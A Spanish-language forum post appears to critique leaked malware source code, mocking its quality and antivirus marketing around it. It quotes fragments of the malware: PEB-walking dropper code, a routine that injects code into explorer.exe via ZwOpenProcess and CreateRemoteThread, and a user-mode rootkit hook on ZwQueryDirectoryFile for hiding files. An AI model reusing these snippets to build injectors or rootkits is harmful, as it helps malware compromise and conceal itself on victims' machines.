Solo para demostrar algunos errores:
Libreria para llamar funciones del NTDLL de 64-bits desde proceso de 32-bits:
__declspec() unsigned __int64 X64Call( void * lvpFunctionPtr, int nArgc, ... )
{
va_list args;
DWORD64 arg1, arg2, arg3, arg4, _nArgc, _lvpFunctionPtr, rest;
DWORD dwEspBackup;
union reg64 sRax;
va_start( args, nArgc );
arg1 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg2 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg3 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
arg4 = ( nArgc ) ? nArgc--, va_arg( args, DWORD64 ) : 0;
....
push arg1
X64_Pop(_RCX);
push arg2
X64_Pop(_RDX);
push arg3
X64_Pop(_R8);
push arg4
X64_Pop(_R9);
Si todo eso estuviera bien escrito ahora llamemos a una funcion que tome un puntero de 64-bits en algun registro de
la convención de llamadas en x64, y antes del call analizemos los registros. Sabiendo que solo podemos redireccionar
hasta 0xFFFFFFFF pero por obvias razones en Ntoskrnl se tomara los 64-bits enteros de los registros. Decirme
si funciona, no no lo hace.
No yo no estoy tomando de menos la libreria de la persona porque sabemos que más bien se hizo como POC.
y ahora la gente hace un solo copy-paste y le llaman codigo "profesional".
Dropper:
HMODULE GetKernel32(void)
{
PPEB Peb = NULL;
__asm
{
mov eax, FS:[0x30]
mov [Peb], eax
}
...
HMODULE GetDllBase( DWORD dwDllHash )
{
PPEB Peb = NULL;
__asm
{
mov eax, FS:[0x30]
mov [Peb], eax
}
PPEB GetPeb()
{
__asm mov eax,FS:[0x30]
};
Además mirar las implementaciónes de memcpy,memset y toda función dentro del grupo de las instrictic que han sido implementadas.
# Codígo no es portable
# Lejos de ayudar a la optimización del codígo
[sarcasm] Injeción bastante sofisticada en el dropper [/sarcasm]:
bool InjectIntoExplorer( DWORD (WINAPI f_Main)(LPVOID) )
{
DWORD dwPid = GetExplorerPid();
if ( dwPid == 0 )
{
return false;
}
OBJECT_ATTRIBUTES ObjectAttributes = { sizeof( ObjectAttributes ) } ;
CLIENT_ID ClientID;
ClientID.UniqueProcess = (HANDLE)dwPid;
ClientID.UniqueThread = 0;
HANDLE hProcess;
if ( pZwOpenProcess( &hProcess, PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, &ObjectAttributes, &ClientID ) != STATUS_SUCCESS )
{
return false;
}
DWORD dwAddr = InjectCode( hProcess, f_Main );
bool ret = false;
if ( dwAddr != -1 )
{
if ( pCreateRemoteThread( hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwAddr, NULL, 0, 0 ) != NULL )
{
ret = true;
}
}
pZwClose( hProcess );
return ret;
}
Un Rootkit de modo usuario bastante lamer, nisiquiera usan un desensamblador:
ZwQueryDirectoryFileReal = (PZwQueryDirectoryFile)lpMem;
m_memcpy( lpMem, lpPtr, 15 );
lpPtr = (LPVOID)((DWORD)lpPtr + 5 );
if ( *(BYTE*)lpPtr == 0xBA ) // win xp and up // <======== WTF?
{
lpPtr = (LPVOID)((DWORD)lpPtr + 1 );
m_memcpy( lpPtr, &dwAddr, 4 );
}
else
{
if ( *(BYTE*)lpPtr == 0x8D ) //win2000 // <======== WTF?
{
*(BYTE*)lpPtr = 0x68;
dwAddr = (DWORD)&ZwQueryDirectoryFileHook;
lpPtr = (LPVOID)((DWORD)lpPtr + 1 );
m_memcpy( lpPtr, &dwAddr, 4 );
lpPtr = (LPVOID)((DWORD)lpPtr + 6 );
*(BYTE*)lpPtr = 0x00;
}
else
{
MemFree( lpMem );
}
}
Mi pregunta es, realmente creen que esto es un codigo profesional?
Y muchos más codigos con fallas que no quiero que más script-kiddies vengan y reparen los codigos.
Además, como yo dije hay cosas interesantes en el paquete... exploits son siempre bienvenidos aunque no sean 0-day
Y respecto a la publicidad que le hacen, cualquier nuevo malware creado por un scriptkiddie que aparece en
la red luego a los meses compañias de antivirus diciendo que es nuevo y complejo/avanzado malware.
Bueno eso es normal, compañias de antivirus necesitan hacer publicidad para sus productos.
Y yo realmente pensé que Panda contrataba a gente mejor capacitada, no otro scriptkiddie que solo sabe
escarvar en malware y encuentra este src y propablemente ya esta agregandole más basura, bueno solamente estoy diciendo Shaddy
Autor
En línea
